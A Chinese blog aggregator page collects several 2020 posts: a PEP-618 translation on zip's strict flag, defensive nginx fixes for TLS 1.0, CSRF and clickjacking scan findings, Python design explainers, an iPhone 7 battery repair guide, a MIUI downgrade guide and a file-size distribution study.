标准库中还有许多类似用法。
这个新参数的想法和名称最初是由 Ram Rachum 提出的。该议题收到了 100 多个回复,而候选的“equal”也获得了相近的支持数。
笔者对它们没有很强烈的偏好,尽管“equal equals” 读起来有点尴尬。它还可能(错误地)暗示了 zip 的对象是相等的:
>>> z = zip([2.0, 4.0, 6.0], [2, 4, 8], equal=True)

规范

当用关键字参数 strict=True 调用内置类 zip 时,如果参数的长度不同,则生成的迭代器会引发 ValueError。这个异常就发生在迭代器正常停止迭代的地方。

向上兼容

此项更改是完全向上兼容的。当前的 zip 不接受关键字参数,默认省略 strict 的“非严格”用法会保持不变。

参考实现

笔者设计了一个C 实现
用 Python 大致翻译如下:
def zip(*iterables, strict=False):
    if not iterables:
        return
    iterators = tuple(iter(iterable) for iterable in iterables)
    try:
        while True:
            items = []
            for iterator in iterators:
                items.append(next(iterator))
            yield tuple(items)
    except StopIteration:
        if not strict:
            return
    if items:
        i = len(items)
        plural = " " if i == 1 else "s 1-"
        msg = f"zip() argument {i+1} is shorter than argument{plural}{i}"
        raise ValueError(msg)
    sentinel = object()
    for i, iterator in enumerate(iterators[1:], 1):
        if next(iterator, sentinel) is not sentinel:
            plural = " " if i == 1 else "s 1-"
            msg = f"zip() argument {i+1} is longer than argument{plural}{i}"
            raise ValueError(msg)

被拒绝的意见

(1)添加 itertools.zip_strict

这是 Python-Ideas 邮件列表上获得最多支持的替代方案,因此值得在此处加以讨论。它没有任何严重的缺陷,如果本 PEP 被否绝,它是一个很好的替代。
虽然考虑到这一点,但是在 zip 中添加可选参数可以用较小的更改而更好地解决诱发此 PEP 的问题。

(2)依照先例

itertools 中有一个 zip_longest,这似乎让人很有动机再添加一个 zip_strict。但是,zip_longest 在许多方面是一个更加复杂且特定的程序:它负责填写缺失的值,但其它函数都不需要操心这种事。
如果 zip 和 zip_longest 同时放在 itertools 中,或者都作为内置函数,那么在相同的地方添加 zip_strict 就确实是一个更有效的论点。然而,新的“strict”用法在接口和行为方面,相比起 zip_longest,更接近于 zip 的概念,但又不足以成为内置对象。考虑到这个原因,令 zip 就地扩展出一个新的选项,似乎是最自然的选择。

(3)易用性

如果 zip 能够防止此类 bug,那么用户在调用的地方启动检查,就会变得非常简单。与其编写一套繁重的逻辑来处理,不如用这个新特性来直接检查。
有人还认为,在标准库中放一个新的函数,相比在一个内置函数上加关键字参数,更“容易发现(discoverable)”。笔者不同意这一论断。

(4)维护成本

尽管在提升易用性时,具体的实现是个次要问题,但重要的是要认识到,添加新的程序比修改原有程序复杂得多。与此 PEP 一起提供的 CPython 实现非常简单,并且对 zip 的默认行为没有显著的性能影响,而在 itertools 中添加一个全新的程序将需要:
  • 复制 zip 的许多现有逻辑,zip_longest 就是这么干的。
  • 大刀阔斧地重构 zip 或 zip_longest 或这两者,以便共享一个公共的或者继承性的实现(这可能会影响性能)。

(5)添加多个“模式”以供切换

如果预期有三个或更多模式(mode),这个建议才会比二元标志更有意义。最显而易见的三种模式是:“最短的”(当前 zip 的行为),“严格的”(本 PEP 提议的行为)和“最长的”(itertools.zip_longest 的行为)。
但是,除了当前的默认值以及本提案的“strict”模式,似乎不需要再添加其它模式。最可能的是添加一个“最长的”模式,但这需要一个新的 fillvalue 参数(它对于前两种模式都没有意义),另外,itertools.zip_longest 已经完美地处理了这种模式,若在 zip 中添加该模式,将会造成重复。目前尚不清楚哪一个是“显而易见的”选择:内置 zip 上的 mode 参数,还是已经长期存在于 itertools 中的 zip_longest。

(6)给 zip 添加方法或者构造函数

考虑以下两个被提出来的做法:
>>> zm = zip(*iters).strict()
>>> zd = zip.strict(*iters)
尚不清楚哪个更好,或者哪个更差。如果 zip.strict 作为一个方法来实现,则 zm 没问题,但是 zd 会出现几种令人困惑的情况:
  • 返回不包装在元组中的结果(如果 iters 仅包含一个元素,一个 zip 迭代器)。
  • 参数类型错误时抛出 TypeError(如果 iters 只包含一个元素,不是一个 zip 迭代器)。
  • 否则,参数数量不对时抛出 TypeError。
如果 zip.strict 是作为 classmethod 或 staticmethod 实现,则 zd 将成功执行,而 zm 将不产生任何结果(这正是我们最初要避免的问题)。
本提案还面临着更为复杂的问题,因为 CPython 中 zip 内置类的实现细节是未文档化的。这意味着若选择以上的某种行为,当前的实现就会被“锁定”(或至少要求对其进行仿真)。

(7)变更 zip 的默认行为

zip 的默认行为没有什么“错” ,因为在许多情况下,这确实是正确处理大小不等的输入的方法。例如,在处理无限迭代器时,它非常有用。
itertools.zip_longest 已经用在仍然需要“额外”尾端数据的情况。

(8)使用回调来处理剩余对象

尽管基本上可以执行用户需要的任何操作,但此解决方案在处理常见问题时(例如舍弃不匹配的长度),变得不必要的复杂且不直观。

(9)引发一个 AssertionError

没有内置函数或内置类的 API 会引发 AssertionError。此外,官方文档 这么写的(它的全部):

Raised when an assert statement fails.

由于此功能与 Python 的 assert 语句无关,因此不应该引发 AssertionError。用户若希望在优化模式下禁用检查(像一个 assert 语句),可以改用 strict = __debug__。

(10)在 map 上添加类似的特性

本 PEP 不建议对 map 作任何更改,因为很少使用带有多个可迭代参数的map。但是,本 PEP 的裁定可作为将来讨论类似特性的先例(应该出现)。
如果本 PEP 被拒绝,则 map 的那种特性实际上也不值得追求。如果通过了,则对 map 的更改不需要新的 PEP(尽管像所有提案一样,都应仔细考虑其有用性)。为了保持一致性,它应遵循此处讨论的跟 zip 相同的 API 和语义。

(11)什么也不做

此建议可能最没有吸引力。
悄悄地将数据截断是一种特别令人讨厌的 bug,而手写一个健壮的解决方案却并非易事。Python 自己的标准库(前文提到的 ast)是有现实意义的反例,很容易就陷入本 PEP 试图避免的那种陷阱。

July 02, 2020 12:00 AM

July 01, 2020

anji66

修复网警检测到的网站漏洞

事情得从一个公家单位的网站检测报告说起。最近网络安全领域的执法活动高频密集,特别是浦东新区网络安全这块,动作频频。客户跟我说他们单位被检测出单位网站有安全漏洞,需要我处理,然后发了一份安全检测报告给我。大致看了一下,问题不大,不要慌,先拍个朋友圈就能解决的事情。遂记录如下。


一、先看下两张报告图

列名了三个漏洞名称,第一个TLS1.0漏洞、CSRF漏洞和点击劫持漏洞,分别被标注了中危、中危、低危。

1.jpg

2.jpg


二、修复TLS1.0安全漏洞

TLS1.0实际上是https加密协议1.0版,对应的是SSL3.1。这个协议有些年头了,在2011年的时候被攻破。并且这些年来浏览器陆续在抛弃TLS1.0了,所以修复漏洞的最简单方法就是弃用TLS1.0.方法也很简单,在nginx配置中删除TLS1.0即可,删除后重启下nginx。

ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;

然后使用myssl.com网站检测I下,看到TLS1.0 不支持就表示成功了,如果你网站使用了CDN,阿里云CDN控制台里面可以直接操作关闭TLS1.0

4.jpg


三、修复CSRF漏洞

CSRF攻击其实就是跨站脚本攻击,原理就不讲了,学开发的都懂。处理方式主要有两种,一是验证请求头中的Referer,当然这个要依赖浏览器正确传输Referer字段。有一定的局限性。第二种就是生成一个token,然后去校验token。这个检测报告上还列了第三种方法,原理和token差不多。

我找了一下这个客户网站,很明显的就是一个查询表单,虽然我后台校验了用户输入数据,仅限于汉字字母和数字,可能当时忘了设个token,所以在表单里面补上一个token隐藏域,后端去校验这个token就好了。

3.jpg

8.jpg


四、修复点击劫持漏洞

点击劫持其实就是构造了一个iframe的页面,把你网站套在里面,看似是你的网站,实际上是在iframe框架上做了手脚,当你点击的时候执行了跳转。

先来复现一下这个漏洞吧,拿我的网站举例,先再本地建一个html页面,套下iframe框架。为了显眼,我给iframe来个红色边框,运行这个html后可以看到我的网站成功被嵌在了一个iframe框架中了。

9.jpg

5.jpg

如何修复这个漏洞,也简单,给X-Frame-Options响应头配置一个DENY的参数,具体nginx在server中配置一下add_header X-Frame-Options DENY;即可。配置后重启下nginx,再来运行下刚才的html页面,就会报一个拒绝连接的错误页了。当然DENY参数是直接禁止,别人无法iframe你,如果你网站自己有iframe同样会无法使用,如果你自己网站使用了iframe结构,记得将参数设置为SAMEORIGIN。

6.jpg

7.jpg


至此三个问题修复完成,网络安全无小事,此类相关赶紧自查自纠吧。


by 西枫里 at July 01, 2020 06:20 AM

June 30, 2020

pythoncat

Python 3.10 版本采纳了首个 PEP,中文翻译即将推出

现在距离 Python 3.9.0 的最终版本还有 3 个月,官方公布的时间线是:

3.9.0 beta 4: Monday, 2020-06-29

3.9.0 beta 5: Monday, 2020-07-20

3.9.0 candidate 1: Monday, 2020-08-10

3.9.0 candidate 2: Monday, 2020-09-14

3.9.0 final: Monday, 2020-10-05

详情参见 PEP-596
这其实也意味着 Python 3.10 的第一个 alpha 版本快要面世了——因为它会随着 3.9.0 的 final 版本一起发布!
之前有读者问下个版本是不是 4.0,或者误以为下个版本是 4.0,还担心会再次出现 2 升 3 这种大版本不兼容的情况。其实官方早就有消息出来了,下个版本只会是 3.10,是个小版本的特性升级。
Python 采用了语义化版本(Semantic Versioning) 命名风格,也就是“主版本号.次版本号.修订号 ”,在可预见的未来,主版本号还会保持为 3,继续 3.11、3.12 这样排下去……
在上个月末(即 5 月 25 日),Python 官方公布了 3.10 版本的发布计划:
不仅如此,在 6 月中旬,3.10 版本的第一个正式的 PEP 也被采纳了。标题: PEP-618 Add Optional Length-Checking To zip
zip 内置函数非常有用,通常用来把两个序列拼出元组,过程就像用拉链把两边拉起来一般,所以也被称为“拉链函数”。
简单而言,PEP-618 会给 zip 函数增加一个可选参数,当拉链两边的序列不等长时,方便进行异常处理。更多具体内容,可查阅 PEP 文档。
它的中文翻译工作正在紧锣密鼓地进行中,预计两天内会发布。
等译完后,我会发布在 Python猫 公众号上,同时归档到 PEP中文翻译计划 ,敬请大家期待。
除了这个已被采纳的 PEP,社区里还有几个 PEP 引起了广泛的讨论,例如国内的华蟒社区邮件组这几天就正在讨论 PEP-622,还有 PEP-620、PEP-621、PEP-623 这些编号相近的提案都处在草案阶段,估计很快就会出现第二个被采纳的 PEP 了。
按照 3.9.0 版本的开发情况,它最终采纳了 7 个 PEP,详情参见《Python 3.9 的 7 个 PEP 介绍 》。
那么,3.10 版本又会引入多少个 PEP 呢?Python猫 会持续关注,尽量在第一时间把最新的 PEP 翻译出来,如果你也感兴趣的话,欢迎关注我在 Github 发布的 PEP中文翻译计划
推荐阅读 3.9 版本的最新特性解读:

June 30, 2020 12:00 AM

June 26, 2020

diguage

June 21, 2020

pythoncat

Python 为什么不支持 i++ 自增语法,不提供 ++ 操作符?

在 C/C++/Java 等等语言中,整型变量的自增或自减操作是标配,它们又可分为前缀操作(++i 和 —i)与后缀操作(i++ 和 i—),彼此存在着一些细微差别,各有不同的用途。
这些语言的使用者在接触 Python 时,可能会疑惑为什么它不提供 ++ 或 — 的操作呢?
Python 中虽然可能出现 ++i 这种前缀形式的写法,但是它并没有“++”自增操作符,此处只是两个“+”(正数符号)的叠加而已,至于后缀形式的“++”,则完全不支持(SyntaxError: invalid syntax)。
本期“Python为什么 ”栏目,我们将会从两个主要的角度来回答:Python 为什么不支持 i++ 自增语法? (PS:此处自增指代“自增和自减”,下同)
首先,Python 当然可以实现自增效果,即写成i += 1 或者 i = i + 1 ,这在其它语言中也是通用的。
虽然 Python 在底层用了不同的魔术方法(__add__()__iadd__() )来完成计算,但表面上的效果完全相同。
所以,我们的问题可以转化成:为什么上面的两种写法会胜过 i++,成为 Python 的最终选择呢?

1、Python 的整数是不可变类型

当我们定义i = 1000 时,不同语言会作出不同的处理:
  • C 之类的语言(写法 int i = 1000)会申请一块内存空间,并给它“绑定”一个固定的名称 i,同时写入一个可变的值 1000。在这里,i 的地址以及类型是固定的,而值是可变的(在一定的表示范围内)
  • Python(写法i = 1000)也会申请一块内存空间,但是它会“绑定”给数字 1000,即这个 1000 的地址以及类型是固定的(immutable),至于 i,只是一个名称标签贴在 1000 上,自身没有固定的地址和类型
所以当我们令 i “自增”时(i = i + 1),它们的处理是不同的:
  • C 之类的语言先找到 i 的地址上存的数值,然后令它加 1,操作后新的数值就取代了旧的数值
  • Python 的操作过程是把 i 指向的数字加 1,然后把结果绑定到新申请的一块内存空间,再把名称标签 i “贴”到新的数字上。新旧数字可以同时存在,不是取代关系
打一个不太恰当的比方:C 中的 i 就像一个宿主,数字 1000 寄生在它上面;而 Python 中的 1000 像个宿主,名称 i 寄生在它上面。C 中的 i 与 Python 中的 1000,它们则寄生在底层的内存空间上……
还可以这样理解:C 中的变量 i 是一等公民,数字 1000 是它的一个可变的属性;Python 中的数字 1000 是一等公民,名称 i 是它的一个可变的属性。
有了以上的铺垫,我们再来看看 i++,不难发现:
  • C 之类的语言,i++ 可以表示 i 的数字属性的增加,它不会开辟新的内存空间,也不会产生新的一等公民
  • Python 之类的语言,i++ 如果是对其名称属性的操作,那样就没有意义了(总不能按字母表顺序,把 i 变成 j 吧);如果理解成对数字本体的操作,那么情况就会变得复杂:它会产生新的一等公民 1001,因此需要给它分配一个内存地址,此时若占用 1000 的地址,则涉及旧对象的回收,那原有对于 1000 的引用关系都会受到影响,所以只能开辟新的内存空间给 1001
Python 若支持 i++,其操作过程要比 C 的 i++ 复杂,而且其含义也不再是“令数字增加1”(自增),而是“创建一个新的数字”(新增), 这样的话,“自增操作符”(increment operator)就名不副实了。
Python 在理论上可以实现 i++ 操作,但它就必须重新定义“自增操作符”,还会令有其它语言经验的人产生误解,不如就让大家直接写成i += 1 或者 i = i + 1 好了。

2、Python 有可迭代对象

C/C++ 等语言设计出 i++,最主要的目的是为了方便使用三段式的 for 结构:
for(int i = 0; i < 100; i++){
    // 执行 xxx
}
这种程序关心的是数字本身的自增过程,数字做加法与程序体的执行相关联。
Python 中没有这种 for 结构的写法,它提供了更为优雅的方式:
for i in range(100):
    # 执行 xxx

my_list = ["你好", "我是Python猫", "欢迎关注"]
for info in my_list:
    print(info)
这里体现了不同的思维方式,它关心的是在一个数值范围内的迭代遍历,并不关心也不需要人为对数字做加法。
Python 中的可迭代对象/迭代器/生成器提供了非常良好的迭代/遍历用法,能够做到对 i++ 的完全替代。
例如,上例中实现了对列表内值的遍历,Python 还可以用 enumerate() 实现对下标与具体值的同时遍历:
my_list = ["你好", "我是Python猫", "欢迎关注"]
for i, info in enumerate(my_list):
    print(i, info)

# 打印结果:
0 你好
1 我是Python猫
2 欢迎关注
再例如对于字典的遍历,Python 提供了 keys()、values()、items() 等遍历方法,非常好用:
my_dict = {'a': '1', 'b': '2', 'c': '3'}
for key in my_dict.keys():
    print(key)

for key, value in my_dict.items():
    print(key, value)
有了这样的利器,哪里还有 i++ 的用武之地呢?
不仅如此,Python 中基本上很少使用i += 1 或者 i = i + 1 ,由于存在着随处可见的可迭代对象,开发者们很容易实现对一个数值区间的操作,也就很少有对于某个数值作累加的诉求了。
所以,回到我们开头的问题,其实这两种“自增”写法并没有胜出 i++ 多少,只因为它们是通用型操作,又不需要引入新的操作符,所以 Python 才延续了一种基础性的支持。真正的赢家其实是各种各样的可迭代对象!
稍微小结下:Python 不支持自增操作符,一方面是因为它的整数是不可变类型的一等公民,自增操作(++)若要支持,则会带来歧义;另一方面主要因为它有更合适的实现,即可迭代对象,对遍历操作有很好的支持。

其它资料

知乎上有一个问题“为什么 Python、Ruby 等语言弃用了自增运算符?”,下面的这个回答 非常详细,参考阅读。

June 21, 2020 12:00 AM

June 17, 2020

pythoncat

Python 为什么推荐蛇形命名法?

关于变量的命名,这又是一个容易引发程序员论战的话题。如何命名才能更具有可读性、易写性与明义性呢?众说纷纭。
本期“Python为什么”栏目,我们将聚焦于变量命名中的连接方式,来切入这块是非之地,想要回答的问题是——Python 为什么要推荐蛇形命名法?
首先一点,对于单个字符或者单词 (例如:a、A、PYTHON、Cat),当它们被用作变量名时,大致有全小写、全大写和首字母大写这几种情况。编程语言中出现这些情况时,它们基本上跟英语的表达习惯是相同的。
但是,编程语言为了令变量名表达出更丰富的含义,通常需要使用多个单词或符号。 英语习惯使用空格来间隔开单词,然而这种用法在编程语言中会带来一些麻烦,所以程序员们就创造出了另外的方法:
  • 蛇形命名法(snake case)
  • 驼峰命名法(camel case)
  • 匈牙利命名法(HN case)
  • 帕斯卡命名法(Pascal case)
  • 脊柱命名法(spinal case)
  • 自由命名法(studly caps)
  • 驼峰蛇形命名法
总体而言,这些命名法都是要克服单词间的空格,从而把不同单词串连起来, 最终达到创造出一种新的“单词”的效果。
我画了一张思维导图,大略区分了这几种命名法:
如果按照受众量与知名程度排名,毫无疑问排前两位的是驼峰命名法和蛇形命名法。
我们可以简单比较一下它们的优缺点:
  • 可读性:蛇形命名法用下划线拉大词距,更清楚易读;驼峰命名法的变量名紧凑,节省行宽
  • 易写性:驼峰命名法以大小写为区分,不引入额外的标识符;蛇形命名法统一小写,输入相对方便
  • 明义性:对于某些缩写成的专有名词,例如 HTTP、RGB、DNS等等,一般习惯全用大写表示,但是如果严格遵循这两种命名法的话,须得只留首字母大写或者全小写,这样对原意都会造成一些“破坏”,有时候甚至让人感觉到别扭。如果保留全大写,IDE 可能识别不准,反而会出现波浪提示
由此可见,它们各有优缺点,但哪一方都不具有压倒性。我个人稍微偏好于蛇形命名法,但是在需要用驼峰命名的时候(比如写 Java 时),也能无障碍切换。
需要指出的是,Python 也推荐使用驼峰式命名,那是在类名、Type 变量、异常 exception 名这些情况。而在包名、模块名、方法名和普通变量名 等情况,则是推荐用蛇形命名(lower_case_with_underscores)。
那么,为什么 Python 会推荐用蛇形命名法呢?
最大的原因是历史原因。 蛇形命名方式起源于 1960 年代,那时它甚至还没有特定的名称。Python 从 C 语言中借鉴过来后,给它起名为“lower_case_with_underscores”,即带下划线的小写命名。
直到 21 世纪初的几年,在 Intel 和 Ruby 社区中,才有人开始以“snake_case”即蛇形命名来称呼它。
现今有不少编程语言在某些场景下会推荐使用蛇形命名法,而 Python 则是其中最早这么做的之一,并且是使用场景最多的语言之一。
维基百科上统计了一份清单,可以看出 Python 对它的偏好:
其次,还有一个比较重要的原因,那就是 Python 对下划线“_”的独特偏爱。
比如类似于 _xx、__xx、xx_、__xx__ 等等的写法就随处可见,甚至还有孤零零一个下划线 _ 作为变量的特殊情况。这样看来,下划线作为单词间的连接,恰恰是这种传统习惯的一部分。
最后,我还看到过一种解释:因为 Python 是蟒蛇啊,理所当然是用蛇形命名……
对于这三个解释,你们是如何感想的呢?对于蛇形命名法,大家是喜欢还是不喜欢呢?欢迎留言交流。

June 17, 2020 12:00 AM

June 14, 2020

anji66

iPhone7更换电池教程

老婆把iPhone7的资料都转移iPhone11上了,终于这块被女儿摔了无数次的果7成了我的了,正好我的米6卡的要死,准备换来用用,昨天把米6刷机以后,系统又不卡了,那这个果7只好被我拿来测试小程序。这个手机有两年了,高频使用,电池早已不堪重负,要么分分钟掉电到关机,要么分分钟就充满满电复活。所以这手机还没到我手上就在网上淘了一块飞毛腿的电池,准备换上,电池到了有两天了。

1.jpg

iPhone7原装的容量是1960mAh,所以我买的时候也没仔细看,直接淘了一个一样的,其实店家还有一个大容量版的,可以点后面的链接查看,飞毛腿电池淘宝店飞毛腿电池京东店,我建议买大容量的,我下单的时候没注意,买错了。店家送了拆装工具,当然这工具质量次的一逼啊。


拆机第一步:准备工具

店家送的工具基本就够了,但是你最好再准备一把镊子,否则那螺丝装起来会比较麻烦。店家送的工具分三把螺丝刀,一把梅花的,一把三角的,一把十字的,外加两个撬棒和一个吸盘。


第二步,取底部螺丝

手机底部充电口两边,各一个梅花螺丝,用梅花螺丝刀轻松拧下,螺丝就放装电池的铁盒子里面,防止掉了,这小东西掉了可不好找不好配。

2.jpg


第三步,上吸盘

将吸盘放在Home键盘边上位置,吸住,然后用力拉吸盘,不要怕,你那点力气要么吸盘拉脱,要么没啥反应,反正不会把屏幕一次性拉出来。当然,你要不放心,可以用热风枪对手机Home键位置和手机四周吹一下,没有热风枪,电吹风总有吧。反正我没吹,我觉得我不需要。

3.jpg

第三步,指甲卡进缝隙

吸盘拉起屏幕一点点的时候,大拇指指甲配合一下往外抠一点,稍微见到缝后,指甲马上插进去。啥,用撬棒?可以,就是手拿撬棒绝对没指甲灵活好用。然后用指甲在手机四周划一圈,基本上底部和两侧会被你划除比较大的缝隙。这时候你可以再拿撬棒走一圈。

4.jpg


第四步,巧劲拆屏幕总成

当你把屏幕三边都撬开后,你会发现顶部卡的死死的。有点经验的就知道,底部上螺丝,顶部一定是卡扣。所以需要用点巧劲拉下屏幕,可以边拉边轻轻摇动,或者用撬棒在顶部往下顶一顶,总之你会搞定它。拆下以后看下屏幕总成顶部的白色卡扣就知道了。

5.jpg


第五步,朝电源键方向翻开屏幕

前面你拆的时候应该就看到,右边有两根排线,一个是屏幕总成的排线,一个是顶部前置摄像头的排线,小心别折断了这个,反过来就好了,可以放个东西在后面靠着,或者仔细点,放平也可以的,反正排线长度肯定够。

6.jpg


第六步,拆掉电池的排线

看到电池和右边主板的连接位置,上面有一层金属板挡住了,这个是排线的压板,是防止排线松脱的一个约束装置,上面四颗三角螺丝,用三角螺丝刀拧下,有一颗靠近边框的那个最长,等下回装的时候别装错了,其它三个规格一样。拆掉挡板,就能看到电池的排线和屏幕总成的排线了。这里只要拆电池排线就行了,屏幕总成不用拆,虽然后面我还是给拆了,等下说。电池排线用撬棒轻轻一撬就开了。

7.jpg

8.jpg

9.jpg


第七步,拆掉底部的线性马达

当然我是偷懒,吃了点小亏,我直接把电池底部的拉胶头扯开,直接拽的。原本是想向笛大佬吹下牛逼的,没成想牛逼吹破了。拉胶拉一半,因为有底部马达的阻挡,变成Z字形往外拉导致折断拉胶。所以,还是把第七步做下正解,拆线性马达。这个也很好拆,左下有个黑色塑料挡板,上面两颗十字螺丝,拧下,然后就能看到马达的排线,拆掉排线,然后马达两端的三颗十字螺丝拆掉,马达就能取下来了。

10.jpg


第八步,拉电池背胶

因为我前面偷懒,导致背胶拉端,所以这一步我要麻烦一点,我得先用镊子把背胶扯一点点出来,然后用手平拉就行了,这个时候没有马达阻挡,拉胶就容易多了。两根背胶拉掉以后就能取下电池了。我在拆马达的时候,怕不小心扯坏屏幕排线,这两根排线比较短,不像顶部的排线,索性就把屏幕的两根排线一并给撬了。

11.jpg

12.jpg


第九步,装新电池

装电池之前,将店家送的背胶在电池背面贴好,注意背胶和电池的正反,如果电池反了,背胶就废了,背胶贴反了,那多出来的那点翻在电池尾部给下次拉胶的头就粘不上了。装好电池,先别装电池的排线。等其它的回装以后再插电池排线。

13.jpg


第十步,还原线性马达

将马达回装,然后插上排线,一定要卡到位哦,装回排线挡板。如果你拆了屏幕排线,顺道恢复屏幕排线。


第十一步,插电池排线并开机测试

把电池排线插上以后,记得开机试一下,试两个东西,一是屏幕的显示和控制,二是震动。如果都没问题,关机,把排线挡板装回。

14.jpg


第十二步,装回屏幕

装屏幕之前,看下边框四周上的防水胶被你破坏的还能不能看,如果跟我一样,防水胶基本还保持原样的化,就不需要把这圈防水胶铲掉了。如果防水胶被你弄的一坨一坨的,你需要把这圈防水胶铲除干净后再装回屏幕。当然经过这么一折腾,手机防水防灰能力大打折扣。


第十三步,大功告成

将屏幕先从顶部卡扣斜插进去以后,四周按到位,最后上好底部两颗螺丝,大功告成。开机愉快的玩耍吧。


by 西枫里 at June 14, 2020 04:24 PM

June 13, 2020

anji66

MIUI11降级到MIUI10的操作步骤(米6)

MIUI11应该是MIUI系统里面最烂的一个了,没有之一,不接受反驳。除了特么耗电极快以外,系统卡顿,应用卡顿也都是出了名的,网上的抱怨声可谓此起彼伏,MIUI估计也是看到了,所以来个诚意作品MIUI12,但是我这老米6怕是带不起来,还是踏实的降级到MIUI10算了。一大堆东西,前段时间该卸载的应用全部卸载掉,昨晚把手机上存的女儿的照片全部传到QQ相册上。今天又卡的一逼,趁周六时间刷个机。


第一次就失败

原本以为卡刷就能解决的事情,没想到变的这么复杂了。先进MIUI论坛去下载安装包。找到机型,然后点开下载,发现只有两个版本,稳定版是11的,开发版是10的,就去下了开发版。因为我手机现在的是稳定版,直接刷开发版,隐隐就觉得不会成功。把压缩包导入到手机上,放到downloaded_rom文件夹下面。然后进入系统页面,右上角三个点点开,纳尼,没有选择本地安装包的选项?这么坑,只能作罢。


研究一下如何刷机

从中得到几个关键信息,第一个是BL锁的机型需要解锁,第二个跨版本需要线刷,第三个需要找到合适的系统包。

先解决第三个问题,在MIUI论坛上搜索MIUI10,一无所获。如果去翻帖子的话,也不知道翻到猴年马月,这个论坛改的都不知道怎么用了。想到的办法就是去找小米的客服。进入小米官网,右侧点击客服图标,输入人工客服。然后就有人工客服和你对话了,告知我要降级系统,找不到MIUI的刷机包,客服果断给了一个链接,啊哈哈,一个集合贴,正是我要的。就这个地址:https://www.xiaomi.cn/post/5896315


准备工作

做好备份,很多种办法,U盘手机备份,电脑备份,或者跟我一样纯手工导出需要的东西也可以。降级刷BL机型,手机本地备份是没用的,因为整机数据都被清空了。


第一步先给手机解锁

根据上面的链接可以看到这样一个注意事项,里面有解锁页面的链接,点开这个链接,选择解锁,再新打开的页面上有解锁的操作步骤,根据步骤指示完成手机解锁即可。直到解锁成功。

解锁.jpg


解锁1.jpg


解锁2.jpg


解锁3.jpg


解锁4.jpg


第二步下载刷机工具和你要的系统包

根据前面的截图可以点开刷机工具的下载页。按部就班把刷机工具下载到电脑上。无需安装,解压后就能运行,第一次打开,可能会提示安装驱动,点不点都无所谓,点了反正也不能安装成功。同时去下载你要得刷机包,我选的最新的10.4,核心安卓9的包,事后笛大佬说网上有人下载的10.3的版本,内核是安卓8的,可能存在各种奇怪的问题。

刷机1.jpg


刷机2.jpg


第三步刷机操作

关机进入fastboot模式,和之前操作解锁一样的动作。然后打开刷机工具,把你下载的刷机包解压一下,然后将解压后的路径复制到刷机工具的地址上去,点击后面的加载设备,如果提示没有驱动,再点右上角的driver安装一下驱动,然后点击刷机,耐心等待进度条走完,手机自动重启后进入系统设置。好了,至此你的MIUI10回来了。系统流畅,耗电不快,emmm,作为穷人,我的米6还能再战2年。


by 西枫里 at June 13, 2020 08:22 AM

June 11, 2020

farseerfc

系統中的大多數文件有多大?

你覺得,你的系統中大多數文件大概有多大?

這是一個很有意思的問題,你可以試着先猜一下。

基於對系統中保存文件的瞭解,可能有這樣的思考過程:

  • 我收藏了好多照片,每個有 2~5MiB 吧。
  • 我下載了好多漫畫,每個 100KiB 左右,這些大概佔了不少比例。
  • 我還收藏了不少動畫電影電視劇,雖然這些文件總數量可能不多?
  • 我下載了 Linux 的源碼,那裏面每個 C 代碼文件都幾千行,每行 100 字寬,平均也得有 30KiB 吧,有幾萬個源碼文件呢,佔比應該挺大的……

問題中「大多數」其實是個挺不精確的稱呼,換個精確點的問法:你覺得你的系統中 文件大小的中位數 大概在什麼範圍內?或者說,文件系統中 文件大小的分佈情況 一般是怎樣的曲線?

這個問題其實還有多種別的問法,比如:一個常見的桌面或者服務器系統中,多大的文件算大文件, 多小的文件算小文件,什麼範圍內的大小算是普通呢?

經歷過基本的科學教育的人,大概會做這樣的基於科學假設的猜測:

  • 統計學上說,大量獨立隨機事件的累積概率滿足正態分佈(常態分佈)曲線。假設我們把某個特定文件的大小增長 1字節看作是一次獨立隨機事件,那麼文件大小在文件系統中應該是滿足正態分佈的?
  • 正態分佈的前提下,平均數接近中位數,文件系統的已佔用大小除以文件數量大概就是大部分文件的大小了吧。
  • 根據我現在文件系統的佔用大小和文件數量,平均數大概是 500KiB 左右?
  • 雖然我還存了幾個非常大,上 GiB 的文件,但是看起來似乎也有很多很多非常小的文件, 平均一下的話應該會把平均數拉大,大於中位數吧。那麼中位數應該在 100KiB 這樣的量級附近?

你說爲什麼要關心這個?因爲我經常在網上看到這樣的討論:

「我有個倉庫盤要存很多下載到的漫畫,每個漫畫都是一個文件夾裏面一堆 小 JPG ,每個就幾十 KiB 。網上看到的說法是 XFS 對 小文件 的性能不那麼好,我是不是該換 EXT4 ?我還想在 Windows 上能讀寫,是不是 ExFAT 這種簡單的文件系統更合適一點?」

「軟件源的鏡像服務器需要存的都是些 小文件 吧,大多數軟件包壓縮後也就是幾個 KiB 到幾個 MiB 的量級,這種需求是不是適合用對 小文件 優化比較好的文件系統?」

「我的程序需要分析的數據是大量幾百K的 小文件 ,該怎麼存合適呢,直接用文件系統還是應該上數據庫? 我還想多線程併發分析,是不是 SQL 數據庫的併發能力強一些?又或者 MongoDB 的 GridFS 看起來似乎能結合文件系統和數據庫的特點,選它應該還不錯?」

有沒有覺得上面這些討論和直覺有些出入?如果你的直覺告訴你,上面的討論似乎很自然的話, 那說明你需要繼續看下去了。

好了寫了這麼多廢話給大家思考時間,現在請回答一下我標題中那個問題, 你覺得,你的系統中大多數文件大概有多大? ,接下來我要揭曉答案了。

統計實際系統中文件大小的學術研究

最近看到一個挺早以前的研究報告,是 FAST'11 的最優秀論文獎,研究的課題叫 《A Study of Practical Deduplication》 。這個研究原本是想考察一下在桌面文件系統中「去重」(deduplication)的可行性和潛在收益,作爲背景調查, 他們收集了一個挺大的調查樣本,記錄文件大小和校驗和之類的。從論文摘要看,他們在微軟公司內, 通過郵件的形式讓微軟員工在各自的工作機上執行他們的調查程序,大概在1個月左右的時間內收集到了 857 份調查結果。關於去重的研究結果這裏我們這裏先不深究,只看這個背景調查,他們對收集到的文件大小畫了個圖表:

file-histogram-4k.jpg

他們結果顯示最常見的文件大小是 4K

注意上圖裏的橫軸座標,是按2的指數來給文件大小分類的。比如 128~256 字節的算一類, 4K~8K 字節的算一類,分類之後統計每一類裏面文件的數量所佔比例,也就是說橫軸座標是指數增長的。 在指數增長的橫軸座標上,畫出的曲線才看起來像是正態分佈的曲線,如果把橫軸座標畫成線性的話, 中位數會出現在非常靠近左側小文件的地方。

也就是說根據他們的統計,文件系統中大部分文件都是大概 2K 到 8K 這樣的範圍,最常見 4K 大小。 非常大的比如 8M 以上的文件只是極個別,位於圖表右側非常長的尾巴中。

